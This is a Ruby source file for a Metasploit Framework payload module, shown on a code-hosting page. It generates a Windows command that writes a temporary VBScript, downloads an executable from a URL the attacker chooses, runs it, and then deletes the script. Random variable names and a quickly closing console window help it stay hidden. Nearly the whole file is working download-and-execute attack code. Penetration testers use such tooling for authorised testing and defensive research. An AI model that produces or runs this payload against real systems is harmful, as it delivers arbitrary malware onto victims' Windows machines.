Path: blob/master/modules/payloads/singles/cmd/windows/download_exec_vbs.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Windows Executable Download and Execute (via .vbs)',16'Description' => 'Download an EXE from an HTTP(S) URL and execute it',17'Author' => 'scriptjunkie',18'License' => BSD_LICENSE,19'Platform' => 'win',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::None,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'wscript',25'Payload' => {26'Offsets' => {},27'Payload' => ''28}29)30)3132register_options(33[34OptString.new('URL', [ true, 'The pre-encoded URL to the executable' ]),35OptString.new('EXT', [ true, 'The extension to give the saved file', 'exe' ]),36OptBool.new('INCLUDECMD', [ true, 'Include the cmd /q /c', false ]),37OptBool.new('DELETE', [ true, 'Delete created .vbs after download', true ])38]39)40end4142def generate(_opts = {})43return super + command_string44end4546def command_string47# It's already long. Keep variable names short.48vbsname = Rex::Text.rand_text_alpha(1..2)49exename = Rex::Text.rand_text_alpha(1..2)50xmlhttpvar = Rex::Text.rand_text_alpha(1..2)51streamvar = Rex::Text.rand_text_alpha(1..2)5253command = ''54command << 'cmd.exe /q /c ' if datastore['INCLUDECMD']55# "start #{vbsname}.vbs" instead of just "#{vbsname}.vbs" so that the console window56# disappears quickly before the wscript libraries load and the file downloads57command << "cd %tmp%&echo Set #{xmlhttpvar}=CreateObject(\"Microsoft.XMLHTTP\"):" \58"#{xmlhttpvar}.Open \"GET\",\"#{datastore['URL']}\",False:" \59"#{xmlhttpvar}.Send:" \60"Set #{streamvar}=CreateObject(\"ADODB.Stream\"):" \61"#{streamvar}.Type=1:" \62"#{streamvar}.Open:" \63"#{streamvar}.Write #{xmlhttpvar}.responseBody:" \64"#{streamvar}.SaveToFile \"#{exename}.#{datastore['EXT']}\",2:" \65"CreateObject(\"WScript.Shell\").Run \"#{exename}.#{datastore['EXT']}\":"66command << "CreateObject(\"Scripting.FileSystemObject\").DeleteFile \"#{vbsname}.vbs\"" if datastore['DELETE']67command << " >#{vbsname}.vbs" \68"&start wscript #{vbsname}.vbs"69end70end717273